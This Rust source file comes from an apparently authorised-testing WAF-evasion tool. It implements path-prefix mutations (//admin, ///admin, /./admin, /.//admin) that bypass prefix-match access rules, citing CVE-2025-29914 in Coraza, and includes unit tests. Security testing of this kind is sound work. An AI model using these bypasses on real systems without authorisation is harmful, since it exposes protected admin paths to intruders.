Skip to main content

wafrift_encoding/
path_prefix.rs

1//! Path-prefix mutations — restructure the URI path so the WAF's
2//! prefix-match ACL sees a different shape than the origin parser
3//! eventually serves.
4//!
5//! ## Why this is a distinct module from [`crate::url_mutate`]
6//!
7//! `url_mutate` operates on path SEGMENT bytes and on QUERY VALUE
8//! bytes. The mutations here operate on path STRUCTURE — they change
9//! how the path is delimited, not what's inside it. Lumping them into
10//! `UrlStrategy` would force a value-byte mutator and a path-shape
11//! mutator into one enum and produce category errors at the call
12//! sites that build attack pipelines.
13//!
14//! ## What's here
15//!
16//! ### `PathPrefixStrategy::DoubleSlash` — CVE-2025-29914 (Coraza WAF < 3.3.3)
17//!
18//! Coraza historically used Go's `net/url::Parse()` which treats URIs
19//! starting with `//` as protocol-relative — `//admin` is parsed as
20//! `Host = "admin"`, `Path = ""`. A Coraza ACL of the form
21//! `SecRule REQUEST_URI "@beginsWith /admin"` does not fire because
22//! `REQUEST_URI` was populated from the parsed `Path` field, which is
23//! empty. The HTTP origin behind Coraza (nginx, Caddy, Envoy) re-parses
24//! the raw request line, normalises `//admin` back to `/admin`, and
25//! serves the protected resource. Confirmed CVSS 5.4; fixed in
26//! Coraza 3.3.3. Every unpatched Coraza deployment with any
27//! prefix-match ACL is bypassed by a one-character path edit.
28//!
29//! Citation:
30//! <https://dev.to/cverports/cve-2025-29914-the-double-slash-deception-bypassing-coraza-waf-with-rfc-compliance-2l75>
31//!
32//! ### `PathPrefixStrategy::TripleSlash`
33//!
34//! Stretches `DoubleSlash` further — some normalisers collapse `///` →
35//! `/` only after the first decode, so an origin that decodes once and
36//! a WAF that decodes zero times see different forms. Useful when a
37//! WAF normalises `//` but not `///`.
38//!
39//! ### `PathPrefixStrategy::SlashDot` / `SlashDotSlash`
40//!
41//! `/./admin` and `/.//admin`. RFC 3986 §5.2.4 says these resolve to
42//! `/admin` after segment normalisation. WAFs that match the raw
43//! REQUEST_URI literal miss them; origins that apply RFC normalisation
44//! (Apache, IIS, most reverse proxies) serve the protected path.
45//!
46//! ## Reachability
47//!
48//! Exposed through `mutate_url_with_prefix()`. The strategy engine
49//! drives this via a new `Technique::PathPrefix(...)` arm; the
50//! parser-diff `path` family probes each variant in turn against the
51//! authorised target.
52//!
53//! Pass 21 R62 — frontier technique #4 per the 2025 research scan.
54
55#[derive(Debug, Clone, Copy, PartialEq, Eq)]
56pub enum PathPrefixStrategy {
57    /// `/admin` → `//admin`. CVE-2025-29914 (Coraza < 3.3.3).
58    DoubleSlash,
59    /// `/admin` → `///admin`. WAFs that fold `//` but not `///`.
60    TripleSlash,
61    /// `/admin` → `/./admin`. RFC 3986 §5.2.4 dot-segment that some
62    /// raw-prefix WAFs ignore.
63    SlashDot,
64    /// `/admin` → `/.//admin`. Combines dot-segment with the
65    /// protocol-relative trick — bypasses WAFs that strip only the
66    /// `/.` form OR only the `//` form.
67    SlashDotSlash,
68}
69
70impl PathPrefixStrategy {
71    /// Stable technique label — what the gene-bank stores and what
72    /// shows up in `--techniques` output. Pre-fix mutations that
73    /// shipped without a label silently merged into the catch-all
74    /// `url:path` bucket and the bandit couldn't tell them apart.
75    #[must_use]
76    pub const fn label(self) -> &'static str {
77        match self {
78            Self::DoubleSlash => "path:double_slash",
79            Self::TripleSlash => "path:triple_slash",
80            Self::SlashDot => "path:slash_dot",
81            Self::SlashDotSlash => "path:slash_dot_slash",
82        }
83    }
84
85    /// Apply the mutation to a path-and-query string. Returns the
86    /// mutated string (caller does not re-encode); the path-and-query
87    /// contract from [`crate::url_mutate::mutate_url`] is preserved.
88    ///
89    /// `path_and_query` must start with `/`. If it does not (the input
90    /// is a relative or empty path), the function returns the input
91    /// unchanged — silently doing nothing is the same contract
92    /// `url_mutate::mutate_url` uses for non-conforming inputs.
93    #[must_use]
94    pub fn apply(self, path_and_query: &str) -> String {
95        if !path_and_query.starts_with('/') {
96            return path_and_query.to_string();
97        }
98        let prefix = match self {
99            Self::DoubleSlash => "//",
100            Self::TripleSlash => "///",
101            Self::SlashDot => "/./",
102            Self::SlashDotSlash => "/.//",
103        };
104        // Strip the existing leading slash before prepending — pre-fix
105        // `/admin` → `///admin` for DoubleSlash because the leading `/`
106        // was retained, accidentally producing the next mutation up.
107        // Always normalise to: prefix + path-without-leading-slash.
108        let rest = path_and_query.trim_start_matches('/');
109        format!("{prefix}{rest}")
110    }
111
112    /// Every strategy in canonical order — drives the technique-rotation
113    /// path in the strategy engine.
114    pub const fn all() -> [Self; 4] {
115        [
116            Self::DoubleSlash,
117            Self::TripleSlash,
118            Self::SlashDot,
119            Self::SlashDotSlash,
120        ]
121    }
122}
123
124/// Apply a path-prefix mutation to a path-and-query string. Returns
125/// the mutated form and the technique label.
126///
127/// Wraps [`PathPrefixStrategy::apply`] with the label that the
128/// gene-bank and `--techniques` flag downstream consume.
129#[must_use]
130pub fn mutate_path_prefix(
131    path_and_query: &str,
132    strategy: PathPrefixStrategy,
133) -> (String, &'static str) {
134    (strategy.apply(path_and_query), strategy.label())
135}
136
137#[cfg(test)]
138mod tests {
139    use super::*;
140
141    #[test]
142    fn double_slash_maps_admin_to_double_admin() {
143        // CVE-2025-29914 anti-rig: `/admin` MUST become `//admin`.
144        // If this drifts (e.g. someone "tidies" the leading slash
145        // semantics), every Coraza < 3.3.3 bypass we have stops working.
146        assert_eq!(PathPrefixStrategy::DoubleSlash.apply("/admin"), "//admin");
147    }
148
149    #[test]
150    fn triple_slash_normalises_to_triple() {
151        assert_eq!(PathPrefixStrategy::TripleSlash.apply("/admin"), "///admin");
152    }
153
154    #[test]
155    fn slash_dot_inserts_dot_segment() {
156        assert_eq!(PathPrefixStrategy::SlashDot.apply("/admin"), "/./admin");
157    }
158
159    #[test]
160    fn slash_dot_slash_combines_both_forms() {
161        assert_eq!(
162            PathPrefixStrategy::SlashDotSlash.apply("/admin"),
163            "/.//admin"
164        );
165    }
166
167    #[test]
168    fn already_double_slash_input_does_not_compound() {
169        // Anti-rig: applying DoubleSlash to a path that already has
170        // multiple leading slashes MUST normalise back to exactly
171        // two, not pile them up. Pre-fix the naive `format!("/{p}")`
172        // approach turned `///x` into `////x`, defeating the purpose
173        // (the WAF would already strip three-or-more, the FOUR-slash
174        // case is yet another fold class).
175        assert_eq!(PathPrefixStrategy::DoubleSlash.apply("///admin"), "//admin");
176    }
177
178    #[test]
179    fn preserves_query_string() {
180        // The query MUST survive the path-prefix mutation byte-for-byte.
181        // If the query is rewritten, every other layer of the evasion
182        // pipeline that depends on the query being well-formed breaks.
183        assert_eq!(
184            PathPrefixStrategy::DoubleSlash.apply("/admin?id=1&q=x"),
185            "//admin?id=1&q=x"
186        );
187    }
188
189    #[test]
190    fn non_root_relative_input_passes_through() {
191        // Path that doesn't start with `/` is a contract violation —
192        // return unchanged rather than producing a malformed mutation.
193        // Matches `mutate_url`'s "doesn't look like a path" guard.
194        assert_eq!(PathPrefixStrategy::DoubleSlash.apply("admin"), "admin");
195        assert_eq!(PathPrefixStrategy::DoubleSlash.apply(""), "");
196    }
197
198    #[test]
199    fn root_only_path_is_handled() {
200        // Boundary: `/` → `//`. Some target webserver default-routes
201        // every request to `/`, and `//` is the trivial protocol-
202        // relative form. Don't crash, don't produce empty.
203        assert_eq!(PathPrefixStrategy::DoubleSlash.apply("/"), "//");
204        assert_eq!(PathPrefixStrategy::SlashDot.apply("/"), "/./");
205    }
206
207    #[test]
208    fn all_strategies_label_distinctly() {
209        // Anti-rig: every strategy MUST produce a distinct technique
210        // label, otherwise the bandit can't separate winners from
211        // losers and the gene-bank merges adversarial classes.
212        let labels: Vec<&str> = PathPrefixStrategy::all()
213            .iter()
214            .map(|s| s.label())
215            .collect();
216        let unique: std::collections::HashSet<_> = labels.iter().collect();
217        assert_eq!(
218            labels.len(),
219            unique.len(),
220            "every PathPrefixStrategy variant must have a distinct label"
221        );
222    }
223
224    #[test]
225    fn mutate_path_prefix_returns_label_matching_strategy() {
226        // Anti-rig: the label returned by the public helper must
227        // match the strategy's own label — pre-fix a refactor that
228        // wired the wrong label through silently shipped.
229        for s in PathPrefixStrategy::all() {
230            let (_, label) = mutate_path_prefix("/admin", s);
231            assert_eq!(label, s.label());
232        }
233    }
234}